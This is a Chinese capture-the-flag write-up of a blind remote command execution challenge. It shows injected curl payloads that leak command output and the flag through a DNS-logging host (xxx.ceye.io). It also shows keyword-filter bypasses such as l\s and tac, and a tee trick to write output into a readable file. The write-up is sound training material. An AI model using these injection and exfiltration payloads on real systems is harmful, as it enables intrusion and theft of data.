[SWPUCTF 2021 新生赛]finalrce

题目

image-20240517193805294

有exec,一看就是无回显RCE,curl没有被过滤,可以尝试用ceye平台实现dnslog外带。

方法一:dnslog外带

原理:DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。

1
2
payload
?url=curl http://xxx.ceye.io/\`whoami\`

进行尝试,得到

image-20240517195636853

发现确实可行,接着用ls查看根目录文件,由于ls被过滤,因此要用l\s进行绕过

1
2
payload 
?url=curl http://xxx.ceye.io/`l\s /`

得到

image-20240517195656623

接下来查看文件内容,因为cat被过滤,可用ca\t或tac进行绕过

1
2
payload
?url=curl http://xxx.ceye.io/`tac /a_here_is_a_f1ag`

得到

image-20240517195940040

flag在flllllaaaaaaggggggg里,直接读取(注意la被过滤)

1
2
payload
?url=curl http://xxx.ceye.io/`tac /flllll\aaaaaaggggggg`

得到

image-20240517200810038

加上{}应该就行,如果想得到完整flag可以将flag用base32编码,将结果外带后解码得到

1
2
payload
?url=curl http://xxx.ceye.io/`tac /flllll\aaaaaaggggggg|base32`

得到的base32编码

image-20240517201513441

解码后得到

image-20240517201610836

方法二:tee命令(输出重定向)

无回显RCE也可通过将命令执行结果重定向输出得到信息,本题中”<”,”>”都被过滤,因此可用tee命令进行绕过

tee 命令在 Unix 和 Unix-like 操作系统中的作用是将标准输入 (stdin) 的内容复制到标准输出 (stdout) 以及一个或多个文件中。

1
2
payload
?url=tac /flllll\aaaaaaggggggg | tee 1.txt //将flag值重定向输出到了1.txt中

访问1.txt,得到

image-20240517202624397

一些思考

用curl命令实现dnslog外带会发现返回的结果只有一行,因此尝试使用tr ‘\n’ ‘ ‘将换行符 \n 替换为空格。这样,所有的行都会被合并成一行,返回结果用base32编码

1
2
payload
?url=curl http://xxx.ceye.io/`ls / | tr '\n' ' ' | base32`

解码后的结果

image-20240517203134862

发现长度不够,想得到g后面的字符,可以使用?进行匹配,但是不知道后面还有多少字符,可以多次尝试,发现用6个?可以得到flag

1
2
payload
?url=curl http://xxx.ceye.io/`tac /flllllaaaaaag??????| base32`

也可以用grep命令得到以flllllaaaaaag开头的文件名

1
2
payload
curl http://xxx.ceye.io/`l\s / |grep '^flllll\aaaaaag'|base32`

image-20240517214134254

小结

做题时发现可以用的命令有很多,然后就试试能不能用多种方法,就当做多熟悉一些linux命令的练习了。